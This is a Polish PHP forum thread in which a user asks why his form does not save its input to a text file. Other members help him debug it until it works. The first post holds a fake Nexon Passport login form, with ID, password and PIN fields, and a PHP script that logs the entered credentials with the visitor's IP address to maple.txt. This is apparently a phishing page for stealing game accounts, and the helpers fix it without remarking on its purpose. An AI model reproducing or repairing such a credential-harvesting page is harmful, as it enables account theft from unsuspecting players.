Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> [PHP]Dane z formularza do Pliku, Problem...
robsonq
post
Post #1





Grupa: Zarejestrowani
Postów: 3
Pomógł: 0
Dołączył: 5.09.2009

Ostrzeżenie: (0%)
-----


Witam!
Mam problem z napisaniem strony - mam 3 pola do wpisania danych, i docelowo te dane mają zapisać sie na pliku txt.
Problem w tym, że napisałem w/w formularz i skrypt php zapożyczyłem z tej strony... Mimo to po wpisaniu danych do formularza nic się nie dzieje (nic nie pojawia się w pliku tekstowym)

  1. <form name="frmLogin" method="post" action="login.php" id="frmLogin">


  1. <label class="passport_id">Nexon Passport ID</label><input name="username" id="txtId" tabindex="1" size="16" type="text">
  2.  
  3. <label class="passport_pw">Nexon Passport P/W</label><input name="password" id="txtPassword" tabindex="2" maxlength="12" type="password">
  4.  
  5. <label class="passport_pin">Nexon Pin</label><input name="pin" id="pin" tabindex="2" maxlength="4" type="password">
  6.  
  7. <input name="btnLogin" value="" id="btnLogin" tabindex="3" class="btn_signin" type="submit">


Oto dwie części strony HTML, moim zdaniem odpowiedzialne za cały proces, no i skrypt php.

  1. <?php
  2.  
  3. #
  4. // register_globals!
  5. #
  6. $username = $_POST['username'];
  7. #
  8. $password = $_POST['password'];
  9. #
  10. $pin = $_POST['pin'];
  11. #
  12.  
  13. #
  14. $address = getenv("REMOTE_ADDR");
  15. #
  16.  
  17. #
  18. $filename = "$DOCUMENT_ROOT/maple.txt";
  19. #
  20. $nam = stripslashes($username);
  21. #
  22. $topi = stripslashes($password);
  23. #
  24. $messag = stripslashes($pin);
  25. #
  26.  
  27. #
  28. $a = "<hr>Username: $username<br>n";
  29. #
  30. $a2 = "Password: $password<br>n";
  31. #
  32. $a3 = "Pin: $pin<br>n";
  33. #
  34. $a4 = "IP: $address<br><br>nn";
  35. #
  36. $a5 = date ("d-m-Y");
  37. #
  38. $a6 = date ("G:i");
  39. #
  40. $filed = @fopen($filename, "a+");
  41. #
  42. @fwrite($filed, "$a $a2 $a3 $a4 $a5 $a6");
  43. #
  44.  
  45. #
  46. fclose($filed);
  47. #
  48.  
  49. #
  50. $msg = "<p>Data Input complete</P>";
  51. #
  52.  
  53.  
  54. ?>


Jeśli ktoś może mnie naprowadzić na dobry trop, byłbym wdzięczny! (IMG:style_emoticons/default/smile.gif)

Pozdrawiam
Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi (1 - 10)
TrevorGryffits
post
Post #2





Grupa: Zarejestrowani
Postów: 139
Pomógł: 24
Dołączył: 29.07.2007
Skąd: Tarnowskie Góry

Ostrzeżenie: (0%)
-----


Wyskakują ci błędy...
Tylko je wyciszasz "@". Usuń je i dodaj na początek error_reporting(E_ALL); i pokaż jakie masz błędy...
Go to the top of the page
+Quote Post
robsonq
post
Post #3





Grupa: Zarejestrowani
Postów: 3
Pomógł: 0
Dołączył: 5.09.2009

Ostrzeżenie: (0%)
-----


Przepraszam, niezbyt znam się na php ogólnie, i przyznam że tą stronę tworzyłem w wielkich bólach (IMG:style_emoticons/default/tongue.gif)
Wystarczy że na początek skryptu dodam error_reporting(E_ALL); ?
Bo jeśli tak - to nic się nie pojawia (IMG:style_emoticons/default/smile.gif)
Przepraszam za brak ogłady ale niezbyt na tym się znam (IMG:style_emoticons/default/tongue.gif)

pozdrawiam!
Go to the top of the page
+Quote Post
TrevorGryffits
post
Post #4





Grupa: Zarejestrowani
Postów: 139
Pomógł: 24
Dołączył: 29.07.2007
Skąd: Tarnowskie Góry

Ostrzeżenie: (0%)
-----


A usunąłeś "@" sprzed nazw funkcji?
Go to the top of the page
+Quote Post
thek
post
Post #5





Grupa: Moderatorzy
Postów: 4 362
Pomógł: 714
Dołączył: 12.02.2009
Skąd: Jak się położę tak leżę :D




Ja jestem ciekaw skąd wytrzasnąłeś $DOCUMENT_ROOT... Ja znam jedynie $_SERVER['DOCUMENT_ROOT'] (IMG:style_emoticons/default/winksmiley.jpg)
Go to the top of the page
+Quote Post
franki01
post
Post #6





Grupa: Zarejestrowani
Postów: 508
Pomógł: 75
Dołączył: 2.11.2005
Skąd: Bydgoszcz

Ostrzeżenie: (0%)
-----


Po pierwsze. Wygodniej Ci będzie, jak plik będziesz miał w tym samym katalogu, co skrypt. Zamień
Kod
$filename = "$DOCUMENT_ROOT/maple.txt";
na
Kod
$filename = './maple.txt';


Po drugie. Plik maple.txt musi istnieć na serwerze z chmodem 0777. Ewentualnie katalog macierzysty ma mieć chmod 0777 a właścicielem pliku powinien być skrypt.
Go to the top of the page
+Quote Post
thek
post
Post #7





Grupa: Moderatorzy
Postów: 4 362
Pomógł: 714
Dołączył: 12.02.2009
Skąd: Jak się położę tak leżę :D




A na co mu 777? Jeśli to ma być tylko dla skryptu do odczytu i zapisu to nawet 600 może być (IMG:style_emoticons/default/winksmiley.jpg) Niech zajrzy sobie do chmod i zdecyduje jakie uprawnienia nadać. Ja nadal sądzę, że pewnie ma php5 i zamiast $_SERVER['DOCUMENT_ROOT'] walnął $DOCUMENT_ROOT bo gdzieś tak w jakimś starym tutorialu przeczytał. A dlaczego? Popatrzcie na kod. Raz używa odwołanie (prawidłowe) przez tablice $_POST, innym razem używa getenv a potem $DOCUMENT_ROOT. Przecież to wydaje się logiczne, że gdyby wiedział co kopiuje z netu, to takiego zamieszania by nie robił (IMG:style_emoticons/default/winksmiley.jpg) Użyłby po prostu odwołań poprzez właściwe odwołanie do $_SERVER lub $_POST a nie mieszał wszystkie metody odwołań ze sobą. Dlatego nie wie czy ma włączone php4 czy php5, a jeśli tego nie wie to także świadomie nie może powiedzieć czy tablice superglobalne ma włączone czy nie w php.ini

EDIT: Zapomniałbym dodać, że plik nie musi istnieć. a+ w fopen i tak stworzy go jeśli on nie istnieje

Ten post edytował thek 6.09.2009, 08:03:45
Go to the top of the page
+Quote Post
franki01
post
Post #8





Grupa: Zarejestrowani
Postów: 508
Pomógł: 75
Dołączył: 2.11.2005
Skąd: Bydgoszcz

Ostrzeżenie: (0%)
-----


Cytat(thek @ 6.09.2009, 09:00:43 ) *
A na co mu 777? Jeśli to ma być tylko dla skryptu do odczytu i zapisu to nawet 600 może być (IMG:style_emoticons/default/winksmiley.jpg)

Jeżeli właścicielem pliku albo katalogu, w którym ma się docelowo znajdować, nie jest skrypt, to nie będzie uprawnień do stworzenia, nadpisywania i odczytywania tego pliku bez chmodu 0777.
Go to the top of the page
+Quote Post
thek
post
Post #9





Grupa: Moderatorzy
Postów: 4 362
Pomógł: 714
Dołączył: 12.02.2009
Skąd: Jak się położę tak leżę :D




Skoro tak piszesz to zapewne wiesz czym się różni 6 od 7. Na co mi w pliku do zapisu i odczytu tylko parametr eXecute? (IMG:style_emoticons/default/winksmiley.jpg) Poza tym plik ma a+, czyli w domyśle już mamy, że skrypt sam ten plik zakłada i aktualizuje. Po co więc ktokolwiek ma mieć prawa do odczytu i zapisu poza skryptem? Tu już się kłaniają podstawy bezpieczeństwa i stąd prawa do zapisu i odczytu nadane tylko skryptowi czynią plik przez niego założony o wiele bezpieczniejszym. A ustawieniem 777 pozwoliłeś każdemu na grzebanie wewnątrz tego pliku. To nie jest bezpieczne. Wyobraź sobie teraz, że ktoś w środek wrzuci skrypt i masz na serwerze jazdę bo mu nawet atrybut wykonywalności (X) ustawiłeś poza odczytem i zapisem. Wszystko się powinno robić z głową. A tak masz bardzo poważną lukę bezpieczeństwa. Fajnie? Pza tym nie myl prawa do nadpisywania z prawem do wykonywania. Nie na darmo pewne pliki ustawia się na 755, inne na 644, a jeszcze inne inaczej. Po to te uprawnienia istnieją by nikt niepowołany nie robił co chce z nimi. Jeśli tylko ktoś by zauważył, że masz pliki na 777 to albo za chwilę nie miałbyś już portalu albo zrobili by Ci z niego jesień średniowiecza (IMG:style_emoticons/default/winksmiley.jpg)
Go to the top of the page
+Quote Post
franki01
post
Post #10





Grupa: Zarejestrowani
Postów: 508
Pomógł: 75
Dołączył: 2.11.2005
Skąd: Bydgoszcz

Ostrzeżenie: (0%)
-----


Niech będzie te 6. Z prawami do uruchomienia, też nie można zrobić wszystkiego, bez przesady. Prawda, że jest to nieciekawe, ale co da nam 0777 dla pliku .txt? Nic. Co do fopen z a+, to oczywiście, że najlepsze rozwiązanie. Jednak wtedy katalog musi mieć chmod z wyższymi prawami na czas zakładania pliku, bo wątpię, żeby w tym przypadku założył go skrypt. Wiem, co masz na myśli, ale zaczyna się robić offtopic. Czekamy na autora tematu.
Pozdrawiam.
Go to the top of the page
+Quote Post
robsonq
post
Post #11





Grupa: Zarejestrowani
Postów: 3
Pomógł: 0
Dołączył: 5.09.2009

Ostrzeżenie: (0%)
-----


Dziękuje za takie dokładne przedstawienie sprawy!
Wszystko się udało, pacjent żyje stan stabilny (IMG:style_emoticons/default/tongue.gif)
Innymi słowy wszystko działa.

Do wszystkich którzy pomogli leci stosowna pochwała =)


Pozdrawiam
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 24.08.2025 - 16:05